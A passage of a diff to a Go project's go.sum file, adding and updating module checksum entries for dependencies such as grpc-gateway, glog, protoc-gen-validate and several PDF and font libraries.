h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= @@ -496,15 +713,19 @@ github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.m github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0= github.com/envoyproxy/go-control-plane v0.10.2-0.20220325020618-49ff273808a1/go.mod h1:KJwIaB5Mv44NWtYuAOFCVOjcI94vtpEz2JU/D2v6IjE= github.com/envoyproxy/go-control-plane v0.10.3/go.mod h1:fJJn/j26vwOu972OllsvAgJJM//w9BV6Fxbg2LuVd34= +github.com/envoyproxy/go-control-plane v0.11.0/go.mod h1:VnHyVMpzcLvCFt9yUz1UnCwHLhwx1WguiVDV7pTG/tI= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/envoyproxy/protoc-gen-validate v0.6.7/go.mod h1:dyJXwwfPK2VSqiB9Klm1J6romD608Ba7Hij42vrOBCo= -github.com/envoyproxy/protoc-gen-validate v0.9.1 h1:PS7VIOgmSVhWUEeZwTe7z7zouA22Cr590PzXKbZHOVY= github.com/envoyproxy/protoc-gen-validate v0.9.1/go.mod h1:OKNgG7TCp5pF4d6XftA0++PMirau2/yoOwVac3AbF2w= +github.com/envoyproxy/protoc-gen-validate v0.10.0 h1:oIfnZFdC0YhpNNEX+SuIqko4cqqVZeN9IGTrhZje83Y= +github.com/envoyproxy/protoc-gen-validate v0.10.0/go.mod h1:DRjgyB0I43LtJapqN6NiRwroiAU2PaFuvk/vjgh61ss= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= +github.com/fogleman/gg v1.2.1-0.20190220221249-0403632d5b90/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= +github.com/fogleman/gg v1.3.0/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= github.com/frankban/quicktest v1.14.3/go.mod h1:mgiwOwqx65TmIk1wJ6Q7wvnVMocbUorkibMOrVTHZps= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= @@ -517,18 +738,28 @@ github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeME github.com/gizak/termui/v3 v3.1.0 h1:ZZmVDgwHl7gR7elfKf1xc4IudXZ5qqfDh4wExk4Iajc= github.com/gizak/termui/v3 v3.1.0/go.mod h1:bXQEBkJpzxUAKf0+xq9MSWAvWZlE7c+aidmyFlkYTrY= github.com/go-chi/chi/v5 v5.0.0/go.mod h1:BBug9lr0cqtdAhsu6R4AAdvufI0/XBzAQSsUqJpoZOs= +github.com/go-fonts/dejavu v0.1.0/go.mod h1:4Wt4I4OU2Nq9asgDCteaAaWZOV24E+0/Pwo0gppep4g= +github.com/go-fonts/latin-modern v0.2.0/go.mod h1:rQVLdDMK+mK1xscDwsqM5J8U2jrRa3T0ecnM9pNujks= +github.com/go-fonts/liberation v0.1.1/go.mod h1:K6qoJYypsmfVjWg8KOVDQhLc8UDgIK2HYqyqAO9z7GY= +github.com/go-fonts/liberation v0.2.0/go.mod h1:K6qoJYypsmfVjWg8KOVDQhLc8UDgIK2HYqyqAO9z7GY= +github.com/go-fonts/stix v0.1.0/go.mod h1:w/c1f0ldAUlJmLBvlbkvVXLAD+tAMqobIIQpmnUIzUY= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= +github.com/go-latex/latex v0.0.0-20210118124228-b3d85cf34e07/go.mod h1:CO1AlKB2CSIqUrmQPqA0gdRIlnLEY0gK5JGjh37zN5U= +github.com/go-latex/latex v0.0.0-20210823091927-c0d11ff05a81/go.mod h1:SX0U8uGpxhq9o2S/CELCSUxEWWAuoCUcVCQWv7G2OCk= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= github.com/go-openapi/jsonpointer v0.19.5/go.mod h1:Pl9vOtqEWErmShwVjC8pYs9cog34VGT37dQOVbmoatg= github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= +github.com/go-pdf/fpdf v0.5.0/go.mod h1:HzcnA+A23uwogo0tp9yU+l3V+KXhiESpt1PMayhOh5M= +github.com/go-pdf/fpdf v0.6.0/go.mod h1:HzcnA+A23uwogo0tp9yU+l3V+KXhiESpt1PMayhOh5M= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= +github.com/goccy/go-json v0.9.11/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw= github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= @@ -536,9 +767,11 @@ github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7a github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= +github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= -github.com/golang/glog v1.0.0 h1:nfP3RFugxnNRyKgeWd4oI1nYvXpxrx8ck8ZrcizshdQ= github.com/golang/glog v1.0.0/go.mod h1:EWib/APOK0SL3dFbYqvxE3UYd8E6s1ouQ7iEp/0LWV4= +github.com/golang/glog v1.1.0 h1:/d3pCKDPWNnvIWe0vVUpNP32qc8U3PDVxySP/y360qE= +github.com/golang/glog v1.1.0/go.mod h1:pfYeQZ3JWZoXTV5sFc986z3HTpwQs9At6P4ImfuP3NQ= github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= @@ -574,9 +807,11 @@ github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiu github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= +github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/golangci/lint-1 v0.0.0-20181222135242-d2cdd8c08219/go.mod h1:/X8TswGSh1pIozq4ZwCfxS0WA5JGXguxk94ar/4c87Y= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= +github.com/google/flatbuffers v2.0.8+incompatible/go.mod h1:1AeVuKshWv4vARoZatz6mlQ0JxURH0Kv5+zNeJKJCa8= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= @@ -598,6 +833,7 @@ github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXi github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= github.com/google/martian/v3 v3.2.1/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= +github.com/google/martian/v3 v3.3.2/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= @@ -634,6 +870,7 @@ github.com/googleapis/gax-go/v2 v2.4.0/go.mod h1:XOTVJ59hdnfJLIP/dh8n5CGryZR2LxK github.com/googleapis/gax-go/v2 v2.5.1/go.mod h1:h6B0KMMFNtI2ddbGJn3T3ZbwkeT6yqEF02fYlzkUCyo= github.com/googleapis/gax-go/v2 v2.6.0/go.mod h1:1mjbznJAPHFpesgE5ucqfYEscaz5kMdcIDwU/6+DDoY= github.com/googleapis/gax-go/v2 v2.7.0/go.mod h1:TEop28CZZQ2y+c0VxMUmu1lV+fQx57QpBWsYpwqHJx8= +github.com/googleapis/gax-go/v2 v2.7.1/go.mod h1:4orTrqY6hXxxaUL4LHIPl6lGo8vAE38/qKbhSAKP6QI= github.com/googleapis/go-type-adapters v1.0.0/go.mod h1:zHW75FOG2aur7gAO2B+MLby+cLsWGBF62rFAi7WjWO4= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So= @@ -648,8 +885,8 @@ github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4 github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= github.com/grpc-ecosystem/grpc-gateway/v2 v2.7.0/go.mod h1:hgWBS7lorOAVIJEQMi4ZsPv9hVvWI6+ch50m39Pf2Ks= github.com/grpc-ecosystem/grpc-gateway/v2 v2.11.3/go.mod h1:o//XUCC/F+yRGJoPO/VU0GSB0f8Nhgmxx0VIRUvaC0w= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.15.2 h1:gDLXvp5S9izjldquuoAhDzccbskOL6tDC5jMSyx3zxE= -github.com/grpc-ecosystem/grpc-gateway/v2 v2.15.2/go.mod h1:7pdNwVWBBHGiCxa9lAszqCJMbfTISJ7oMftp8+UGV08= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.16.0 h1:YBftPWNWd4WwGqtY2yeZL2ef8rHAxPBD8KFhJpmcqms= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.16.0/go.mod h1:YN5jB8ie0yfIUg6VvR9Kz84aCaG7AsGZnLjhHbUqwPg= github.com/hashicorp/consul/api v1.18.0/go.mod h1:owRRGJ9M5xReDC5nfT8FTJrNAPbT4NM6p/k+d03q2v4= github.com/hashicorp/consul/sdk v0.13.0/go.mod h1:0hs/l5fOVhJy/VdcoaNqUSi2AUs95eF5WKtv+EYIQqE= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= @@ -760,9 +997,15 @@ github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/X github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= +github.com/jung-kurt/gofpdf v1.0.0/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes= +github.com/jung-kurt/gofpdf v1.0.3-0.20190309125859-24315acbbda5/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes= +github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/klauspost/asmfmt v1.3.2/go.mod h1:AG8TuvYojzulgDAMCnYn50l/5QV3Bs/tp6j0HLHbNSE= +github.com/klauspost/compress v1.15.9/go.mod h1:PhcZ0MbTNciWF3rruxRgKxI5NkcHHrHUDtV4Yw2GlzU= +github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= @@ -771,8 +1014,9 @@ github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFB github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= -github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= +github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= +github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= @@ -788,6 +1032,7 @@ github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw= github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lyft/protoc-gen-star v0.6.0/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= github.com/lyft/protoc-gen-star v0.6.1/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= +github.com/lyft/protoc-gen-star/v2 v2.0.1/go.mod h1:RcCdONR2ScXaYnQC5tUzxzlpA3WVYF7/opLeUgcQs/o= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= @@ -815,17 +1060,22 @@ github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOA github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= +github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ= +github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= +github.com/mattn/go-sqlite3 v1.14.14/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU= github.com/mattn/goveralls v0.0.11 h1:eJXea6R6IFlL1QMKNMzDvvHv/hwGrnvyig4N+0+XiMM= github.com/mattn/goveralls v0.0.11/go.mod h1:gU8SyhNswsJKchEV93xRQxX6X3Ei4PJdQk/6ZHvrvRk= github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= +github.com/minio/asm2plan9s v0.0.0-20200509001527-cdd76441f9d8/go.mod h1:mC1jAcsrzbxHt8iiaC+zU4b1ylILSosueou12R++wfY= +github.com/minio/c2goasm v0.0.0-20190812172519-36a3d3bbc4f3/go.mod h1:RagcQ7I8IeTMnF8JTXieKnO4Z6JCsikNEzj0DwauVzE= github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= @@ -879,6 +1129,10 @@ github.com/pelletier/go-toml/v2 v2.0.6 h1:nrzqCb7j9cDFj2coyLNLaZuJTLjWjlaz6nvTvI github.com/pelletier/go-toml/v2 v2.0.6/go.mod h1:eumQOmlWiOPt5WriQQqoM5y18pDHwha2N+QD+EUNTek= github.com/peterh/liner v1.2.1 h1:O4BlKaq/LWu6VRWmol4ByWfzx6MfXc5Op5HETyIy5yg= github.com/peterh/liner v1.2.1/go.mod h1:CRroGNssyjTd/qIG2FyxByd2S8JEAZXBl4qUrZf8GS0= +github.com/phpdave11/gofpdf v1.4.2/go.mod h1:zpO6xFn9yxo3YLyMvW8HcKWVdbNqgIfOOp2dXMnm1mY= +github.com/phpdave11/gofpdi v1.0.12/go.mod h1:vBmVV0Do6hSBHC8uKUQ71JGW+ZGQq74llk/7bXwjDoI= +github.com/phpdave11/gofpdi v1.0.13/go.mod h1:vBmVV0Do6hSBHC8uKUQ71JGW+ZGQq74llk/7bXwjDoI= +github.com/pierrec/lz4/v4 v4.1.15/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4= github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= @@ -904,6 +1158,8 @@ github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1: github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/prometheus/client_model v0.2.0 h1:uq5h0d+GuxiXLJLNABMgp2qUWDPiLvgCzz2dUR+/W/M= github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/client_model v0.3.0 h1:UBgGFHqYdG/TPFD1B1ogZywDqEkwp3fBMvqdiQ7Xew4= +github.com/prometheus/client_model v0.3.0/go.mod h1:LDGWKZIo7rky3hgvBe+caln+Dr3dPggB5dvjtD7w9+w= github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro= github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= @@ -926,6 +1182,7 @@ github.com/pseudomuto/protoc-gen-doc v1.4.1/go.mod h1:exDTOVwqpp30eV/EDPFLZy3Pwr github.com/pseudomuto/protokit v0.2.0/go.mod h1:2PdH30hxVHsup8KpBTOXTBeMVhJZVio3Q8ViKSAXT0Q= github.com/pseudomuto/protokit v0.2.1 h1:kCYpE3thoR6Esm0CUvd5xbrDTOZPvQPTDeyXpZfrJdk= github.com/pseudomuto/protokit v0.2.1/go.mod h1:gt7N5Rz2flBzYafvaxyIxMZC0TTF5jDZfRnw25hAAyo= +github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/robfig/cron v1.2.0/go.mod h1:JGuDeoQd7Z6yL4zQhZ3OPEVHB7fL6Ka6skscFHfmt2k= @@ -943,6 +1200,8 @@ github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThC github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/ruudk/golang-pdf417 v0.0.0-20181029194003-1af4ab5afa58/go.mod h1:6lfFZQK844Gfx8o5WFuvpxWRwnSoipWe/p622j1v06w= +github.com/ruudk/golang-pdf417 v0.0.0-20201230142125-a7e3863a1245/go.mod h1:pQAZKsJ8yyVxGRWYNEm9oFB8ieLgKFnamEyDmSA0BRk= github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= github.com/ryanuber/columnize v2.1.0+incompatible/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= github.com/sagikazarmark/crypt v0.9.0/go.mod h1:RnH7sEhxfdnPm1z+XMgSLjWTEIjyK4z2dw6+4vHTMuo= @@ -1016,7 +1275,10 @@ github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9de github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= +github.com/yuin/goldmark v1.4.1/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= +github.com/zeebo/assert v1.3.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0= +github.com/zeebo/xxh3 v1.0.2/go.mod h1:5NWz9Sef7zIDm2JHfFlcQvNekmcEl9ekUZQQKCYaDcA= github.com/zenazn/goji v0.9.0/go.mod 